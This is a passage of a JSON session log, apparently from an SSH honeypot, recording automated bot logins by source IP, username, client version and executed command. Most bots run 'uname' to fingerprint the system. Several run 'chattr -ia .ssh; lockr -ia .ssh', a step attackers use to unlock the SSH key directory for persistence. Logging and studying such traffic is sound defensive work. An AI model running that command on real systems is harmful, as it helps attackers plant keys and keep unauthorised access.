  "src_port": 43962,
  "username": "admins",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 520,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:25:18.210186+00:00",
  "ended_at": "2026-08-26T14:25:30.112574+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "f204ce74-8583-4004-a3c0-aaf0b823c4cb",
  "name": "brisk-thrifty-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 50224,
  "username": "webuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:24:58.326248+00:00",
  "ended_at": "2026-08-26T14:24:59.020377+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eecc3517-61c6-4d3f-ba90-f77c4e2979d5",
  "name": "courtly-hollow-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 50214,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:24:55.983000+00:00",
  "ended_at": "2026-08-26T14:24:57.767734+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6e8a8903-9eac-48b5-a557-e69416b3e11e",
  "name": "supple-lanky-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52086,
  "username": "myuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 346,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:24:49.548490+00:00",
  "ended_at": "2026-08-26T14:24:55.057452+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2df56862-5a2d-4ea7-b295-6426b5a633c0",
  "name": "feral-feathered-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37466,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 326,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:24:48.226801+00:00",
  "ended_at": "2026-08-26T14:24:52.184333+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "21b667d1-e233-49a3-a859-78174f9915d4",
  "name": "gritty-proud-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45050,
  "username": "server",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 534,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:24:28.152006+00:00",
  "ended_at": "2026-08-26T14:24:33.154236+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4d578299-b9e6-42a6-af0d-03b227bdf6bd",
  "name": "blunt-nautical-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47676,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 392,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:24:17.579177+00:00",
  "ended_at": "2026-08-26T14:24:21.417644+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "52c6b3da-5e86-4e44-aea6-46ed653b4136",
  "name": "arctic-daring-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55890,
  "username": "john",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 400,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:23:59.537428+00:00",
  "ended_at": "2026-08-26T14:24:05.832853+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "50795711-7d35-449f-bc23-252841b31253",
  "name": "cosmic-forlorn-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46104,
  "username": "git",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 519,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:23:55.588927+00:00",
  "ended_at": "2026-08-26T14:24:00.159294+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6b94d094-0e52-4124-8015-2f80826bef02",
  "name": "seaward-regal-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56750,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 706,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:23:36.931421+00:00",
  "ended_at": "2026-08-26T14:23:42.804501+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0ea09840-f6e4-4b07-81cb-83b3f486ebc5",
  "name": "northern-frosty-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 59266,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:23:35.851926+00:00",
  "ended_at": "2026-08-26T14:23:38.807738+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5959ec85-c565-4cb4-8b3b-617f97346060",
  "name": "brisk-flinty-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51284,
  "username": "ftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 446,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:23:25.691851+00:00",
  "ended_at": "2026-08-26T14:23:29.691769+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da7a776d-37a1-4814-9fd8-c934d2057490",
  "name": "slender-tawny-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 60544,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 282,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:23:21.970160+00:00",
  "ended_at": "2026-08-26T14:23:23.893045+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "12ca0e62-5382-4a17-8063-61c6039b626d",
  "name": "obsidian-creaky-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44208,
  "username": "nginx",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 340,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:23:14.604509+00:00",
  "ended_at": "2026-08-26T14:23:20.219739+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ea26497e-3ab0-48fd-829a-52c184be61b0",
  "name": "russet-hazel-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40704,
  "username": "developer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 756,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:23:12.910086+00:00",
  "ended_at": "2026-08-26T14:23:14.585682+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2233
 },
 {
  "id": "439f0471-3ee3-4bbf-955c-aa71f55f4194",
  "name": "dewy-shaded-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46132,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 558,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:23:02.822426+00:00",
  "ended_at": "2026-08-26T14:23:07.684423+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "498fdbd3-e6c8-46aa-9355-e53893525174",
  "name": "fearless-blazing-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 55560,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:22:56.220432+00:00",
  "ended_at": "2026-08-26T14:22:58.063944+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eed4cdbe-d305-44c4-9410-6bfc1ff63951",
  "name": "dewy-electric-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 55556,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:22:53.874866+00:00",
  "ended_at": "2026-08-26T14:22:55.643801+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40078dbb-744c-432d-a1f3-1d84a151cf08",
  "name": "weathered-rustic-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 46064,
  "username": "zabbix",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:22:50.878093+00:00",
  "ended_at": "2026-08-26T14:22:57.912921+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b56e4ed5-af44-4318-9871-55013d8c4f6e",
  "name": "mindful-plush-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40706,
  "username": "developer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:22:49.864970+00:00",
  "ended_at": "2026-08-26T14:22:51.679636+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "172ed11b-88fe-46c2-99a8-623ebb6acebb",
  "name": "pewter-cheerful-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37508,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 401,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:22:48.338034+00:00",
  "ended_at": "2026-08-26T14:22:54.065346+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e278f4ad-8a9d-4c97-9c5f-bb379673c7a5",
  "name": "plucky-gritty-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40705,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:22:46.594837+00:00",
  "ended_at": "2026-08-26T14:22:48.366657+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7dc93d2e-df74-435f-9bf8-80075f876af3",
  "name": "sunlit-whispering-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58066,
  "username": "zabbix",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 454,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:22:43.801545+00:00",
  "ended_at": "2026-08-26T14:22:57.910661+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "68a80afc-32d6-4517-93b7-cf1b9cb7fc4f",
  "name": "grumpy-silent-opossum",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 44196,
  "username": "gabriel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:22:18.757074+00:00",
  "ended_at": "2026-08-26T14:22:23.932071+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "55817f52-84df-47ca-837c-e2fb7b7dbf27",
  "name": "sooty-fierce-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60316,
  "username": "myuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 516,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:22:18.147636+00:00",
  "ended_at": "2026-08-26T14:22:23.664291+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d3b87bd7-01ad-40d1-a565-748d4dbb6aa5",
  "name": "painted-rustic-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59424,
  "username": "gabriel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 387,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:22:13.476899+00:00",
  "ended_at": "2026-08-26T14:22:23.933961+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "8f9f036c-7b08-4508-b4d9-db9638cea3b2",
  "name": "somber-hazel-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44064,
  "username": "devops",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:21:53.589192+00:00",
  "ended_at": "2026-08-26T14:21:57.581623+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2d90b873-3f56-424f-ad44-104913f07bb8",
  "name": "clever-verdant-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56776,
  "username": "hadoop",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 466,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:21:44.978764+00:00",
  "ended_at": "2026-08-26T14:21:49.932664+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2bdf8bcb-bc6f-4f91-ab5a-23acc92746e4",
  "name": "woven-ashen-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39204,
  "username": "user2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 415,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:21:37.258848+00:00",
  "ended_at": "2026-08-26T14:21:40.763025+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "12012469-186c-4341-9072-1f9e5505bed6",
  "name": "dappled-sullen-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35712,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 509,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:21:17.995890+00:00",
  "ended_at": "2026-08-26T14:21:21.678515+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da7d9251-1811-4279-b07c-312524051816",
  "name": "glassy-forlorn-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 60904,
  "username": "odoo17",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:21:13.030885+00:00",
  "ended_at": "2026-08-26T14:21:14.884521+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "bbb84a99-c70d-4c3c-abc4-23fe2a29c7f5",
  "name": "frosty-whispering-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46254,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 623,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:21:05.017012+00:00",
  "ended_at": "2026-08-26T14:21:10.079463+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "79efa4b0-c1db-4061-9a24-c59e47774ddb",
  "name": "dusty-courtly-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56926,
  "username": "mc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 501,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:20:54.194613+00:00",
  "ended_at": "2026-08-26T14:20:58.715393+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8cb5fceb-d332-4d8e-9530-39bd2c22b51f",
  "name": "tangled-lanky-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60920,
  "username": "odoo17",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:20:48.150544+00:00",
  "ended_at": "2026-08-26T14:20:49.009063+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8a9eb9a5-4db0-440e-8105-0f45f6798991",
  "name": "lofty-glacial-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60918,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:20:46.151095+00:00",
  "ended_at": "2026-08-26T14:20:47.556046+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40d153b6-90e1-4308-8e02-7ece140b2e7b",
  "name": "quiet-breezy-kea",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 35814,
  "username": "Asalem",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:20:42.325350+00:00",
  "ended_at": "2026-08-26T14:20:46.981233+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "23b90971-d31a-4b5c-a920-d261dd86b2a8",
  "name": "vivid-arctic-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60428,
  "username": "operator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 671,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:20:38.137565+00:00",
  "ended_at": "2026-08-26T14:20:41.069364+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1bb6ca7f-6d13-46bf-9ac5-76a61fad7b29",
  "name": "hidden-wry-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49956,
  "username": "Asalem",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 686,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:20:37.440910+00:00",
  "ended_at": "2026-08-26T14:20:46.982423+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "5c5877b0-9da7-4d45-97ba-2a6981f8117e",
  "name": "diligent-ivory-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40701,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 755,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:20:30.024042+00:00",
  "ended_at": "2026-08-26T14:20:31.672634+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "af012c5a-8e5b-47dd-a8b1-e259f645201e",
  "name": "orderly-humble-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57286,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 467,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:20:12.188176+00:00",
  "ended_at": "2026-08-26T14:20:15.768004+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4490538e-900e-44d6-9a61-e5f5126066bb",
  "name": "polar-muted-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 54526,
  "username": "mohammad",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:20:08.781879+00:00",
  "ended_at": "2026-08-26T14:20:15.525597+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "716ba735-0f00-4308-a492-1b565ffcbc2f",
  "name": "early-breezy-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40703,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:20:08.526356+00:00",
  "ended_at": "2026-08-26T14:20:10.120187+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b74f942-f3e2-4576-8371-6e45cbb4e5e6",
  "name": "indigo-inland-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40702,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:20:05.131072+00:00",
  "ended_at": "2026-08-26T14:20:07.037647+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "49ac85c1-d584-440d-affd-bbdb244e3134",
  "name": "drifting-peaty-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36476,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 440,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:20:03.017616+00:00",
  "ended_at": "2026-08-26T14:20:08.871478+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "34e375fe-4d6e-472b-9a09-e54868e6dfb0",
  "name": "solar-fleeting-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36184,
  "username": "mohammad",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 521,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:20:01.884640+00:00",
  "ended_at": "2026-08-26T14:20:15.523686+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "101ae40c-2816-4dbf-91f9-1181b533fdf0",
  "name": "cunning-ancient-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60632,
  "username": "root1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 674,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:19:35.254566+00:00",
  "ended_at": "2026-08-26T14:19:40.532276+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "720d937c-3a80-4741-aaf9-75be9458418c",
  "name": "obsidian-tender-impala",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "113.31.186.197",
  "src_port": null,
  "username": null,
  "client_version": "Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:19:24.167242+00:00",
  "ended_at": "2026-08-26T14:34:58.030398+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8b3281d1-cf7f-4113-a3f6-6306b6929121",
  "name": "ashen-earnest-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37032,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 603,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:19:21.747874+00:00",
  "ended_at": "2026-08-26T14:19:26.974278+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "86a35e29-1a47-4b18-b09c-39cd181c00b0",
  "name": "bronzed-whispering-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64336,
  "username": "developer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 288,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:19:20.933243+00:00",
  "ended_at": "2026-08-26T14:19:22.363330+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2266
 },
 {
  "id": "c0f82510-a2e6-4570-9e04-f06757d89f4d",
  "name": "quaint-obsidian-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44422,
  "username": "alex",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 581,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:19:08.364684+00:00",
  "ended_at": "2026-08-26T14:19:13.937757+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
